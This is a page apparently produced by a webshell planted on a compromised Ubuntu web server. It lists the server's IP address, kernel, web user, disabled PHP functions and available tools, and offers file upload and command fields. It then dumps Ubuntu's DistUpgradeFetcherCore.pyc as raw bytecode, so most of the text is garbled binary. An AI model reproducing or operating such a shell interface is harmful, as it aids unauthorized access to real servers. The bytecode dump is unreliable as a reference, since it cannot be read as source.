403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/dist-packages/DistUpgrade/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pyc
ó
¤Oc@sùddlmZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
m
Zddlm
Z
ddlmZmZmZdefd„ƒYZedkrõeddƒZd	ejd
dƒGHndS(iÿÿÿÿ(tTemplateN(tgettext(tSourcesList(tget_distturl_downloadabletcountry_mirrortDistUpgradeFetcherCorecBsªeZdZdZdZdejkZd„Zd„Z	d„Z
d„Zd„Zd	d
„Z
d„Zd„Zd
„Zd„Zd„Zd„Zd„Zd„ZRS(s2 base class (without GUI) for the upgrade fetcher s http://archive.ubuntu.com/ubuntutmaintDEBUG_UPDATE_MANAGERcCs+||_tƒ|_||_g|_dS(N(tnew_distRtcurrent_dist_namet	_progresstrun_options(tselfR	tprogress((sF/usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pyt__init__+s		cCs$|jr tjj|dƒndS(s" helper to show debug information s
N(tDEBUGtsyststderrtwrite(R
tmsg((sF/usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pyt_debug2s	cCstS(N(tTrue(R
((sF/usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pytshowReleaseNotes7scCs|GH|GHtS(s dummy implementation for error display, should be overwriten
            by subclasses that want to more fancy method
        (tFalse(R
tsummarytmessage((sF/usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pyterror:scCs¤|jjr |jdtjj|jjƒ}|jdtjj|jjƒ}tdƒitjj|ƒd6tjj|ƒd6GH|j||ƒr t	Snt
S(Nt/s0authenticate '%(file)s' against '%(signature)s' tfilet	signature(R	tupgradeToolSigttmpdirtostpathtbasenametupgradeToolt_tgpgauthenticateRR(R
tftsig((sF/usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pytauthenticateBs##s/etc/apt/trusted.gpgcCsñtjƒ}dd|jddd|g|j_|jd||gddd	d
gƒ}|jdjƒ}y|jƒWnXt	k
rÒ}d|GHdGH|jdjƒGH|jd
jƒGH|jd	jƒGHt
SXd
|krãtSdGH|GHt
S(sx authenticated a file against a given signature, if no keyring
            is given use the apt default keyring
        s--no-optionss	--homedirs--no-default-keyrings--ignore-time-conflicts	--keyrings--verifyt
create_fhststatustloggerRsexception from gpg: %ssDebug information: tVALIDSIGsinvalid result from gpg:(tGnuPGInterfacetGnuPGR toptionst
extra_argstrunthandlestreadtwaittIOErrorRR(R
RRtkeyringtgpgtproctgpgreste((sF/usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pyR&Ms.		cCsßtjj|jtjj|jƒƒ}tdƒtjj|ƒGHtjj|ƒsXtSyXt	j
|jdtjj|jƒdƒ}x|D]}|j|ƒqŽW|jƒWn(t	j
k
rÚ}tjd|ƒtSXtS(Nsextracting '%s'Rtrsfailed to open tarfile (%s)(R!R"tjoinR R#turiR%texistsRttarfiletopentextracttcloset	ReadErrortloggingRR(R
tfnamettarttarinfoR;((sF/usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pytextractDistUpgraderks',
cCs`d|j|jjf|_}tjj|ƒs\|jtdƒtdƒdtdƒƒSt	S(Ns%s/%ssCould not run the upgrade tools.  swThis is most likely a bug in the upgrade tool. Please report it as a bug using the command 'ubuntu-bug update-manager'.(
R R	tnametscriptR!R"R?RR%R(R
RK((sF/usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pytverifyDistUprader{s
 c
Cs)|jd|jƒtdtƒ}tƒ}xé|jD]Þ}|js6|js6|jdkrdq6n|j	|kryq6n|j	j
|ƒr³|j|jkr³|j|j
kr³|S|j|jkr6d|j
kr6|j	|t|ƒ}t||jƒr|S|j|j	ƒq6q6W|jdƒdS(s
      try to figure what the mirror is from current sources.list

      do this by looing for matching DEFAULT_COMPONENT, current dist
      in sources.list and then doing a http HEAD/ftp size request
      to see if the uri is available on this server
      smirror_from_sources_list: %stwithMatchertdebRsno mirror foundt(RR
RRtsettlisttdisabledtinvalidttypeR>t
startswithtdisttDEFAULT_COMPONENTtcompstlenRtadd(R
R>tdefault_uritsourcestseenR;t
mirror_uri((sF/usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pytmirror_from_sources_list‡s(	"
cCsÎ|j|jƒrA|jdƒ|j||jƒ}|rA|Snt|ƒ}tƒ}|jd|ƒ}y)t||jƒstd|ƒ‚nWn6tk
rÉ}|jd|ƒ|jddƒ}nX|S(s…
        expand the uri so that it uses a mirror if the url starts
        with a well know string (like archive.ubuntu.com)
        strying to find suitable mirrort
countrymirrorsfailed to download %ss url '%s' could not be downloadedRO(	RUtDEFAULT_MIRRORRR_RRtsafe_substituteRt	Exception(R
R>tnew_urituri_templatetmR;((sF/usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pyt
_expandUri¦s
	cCsÎtjddƒ|_}tj|ƒtjd|ƒ|jdkrotj	j
ddƒtj	j
ddƒntj|jƒ}|j
jd
krÍ|j|j
jƒ}tj||dtd	ƒƒ}|n|j
jd
krÊ|j|j
jƒ|_tj||jdtd
ƒƒ}||jƒ}||jkrLtjd|ƒtSxwtjj|j
jƒtjj|j
jƒgD]E}tjj|ƒoªtjj|ƒdks}tjd|ƒtSq}WtStS(s. download the tarball with the upgrade script tprefixsupdate-manager-susing tmpdir: '%s'isDebug::Acquire::httpt1sDebug::Acquire::ftptdescrsUpgrade tool signaturesUpgrade toolsfetch result != continue (%s)sfile '%s' missingN(ttempfiletmkdtempR R!tchdirREtdebugRtapt_pkgtConfigtSettAcquireRR	RtNoneRgtAcquireFileR%R$R>R2tRESULT_CONTINUEtwarnRR"R#R?tgetsizeR(R
R tfetcherR>taf1taf2tresultR'((sF/usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pytfetchDistUpgrader¿s<
			*cCsV|jg|j}tjƒdkr?tjddg|ƒntj|j|ƒdS(Nis
/usr/bin/sudotsudo(RKRR!tgetuidtexecv(R
targs((sF/usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pytrunDistUpgraderåscCs!tjdƒtj|jƒdS(Ns..(R!RmtshutiltrmtreeR (R
((sF/usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pytcleanupìs
cCs‹|jƒsdS|jƒs<|jtdƒtdƒƒdS|jƒsr|jtdƒtdƒƒ|jƒdS|jƒsž|jtdƒtdƒƒdS|jƒsÔ|jtdƒtdƒƒ|jƒdSyKtj	|j
tjƒstd	|j
ƒ}d
|_
|‚n|jƒWnetk
r†}|j
d
kr`|jtdƒtdƒƒtS|jtdƒtd
ƒ|jƒnXtS(NsFailed to fetchs=Fetching the upgrade failed. There may be a network problem. sAuthentication faileds_Authenticating the upgrade failed. There may be a problem with the network or with the server. sFailed to extracts[Extracting the upgrade failed. There may be a problem with the network or with the server. sVerification faileds[Verifying the upgrade failed.  There may be a problem with the network or with the server. sCan not execute '%s'i
sCan not run the upgradesyThis usually is caused by a system where /tmp is mounted noexec. Please remount without noexec and run the upgrade again.sThe error message is '%s'.(RR|RR%R)R„RIRLR!taccessRKtX_OKtOSErrorterrnoRRtstrerrorR(R
texR;((sF/usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pyR2òsD





		
(t__name__t
__module__t__doc__RaRWR!tenvironRRRRRR)R&RIRLR_RgR|RR„R2(((sF/usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pyR$s$										&		t__main__sgot mirror: '%s'sghttp://archive.ubuntu.com/ubuntu/dists/intrepid-proposed/main/dist-upgrader-all/0.93.34/intrepid.tar.gzs http://archive.ubuntu.com/ubuntu(tstringRR!RoRER@RkR‚RR.RR%taptsources.sourceslistRtutilsRRRtobjectRR‹RstdR_(((sF/usr/lib/python2.7/dist-packages/DistUpgrade/DistUpgradeFetcherCore.pyt<module>sý

Youez - 2016 - github.com/yon3zu
LinuXploit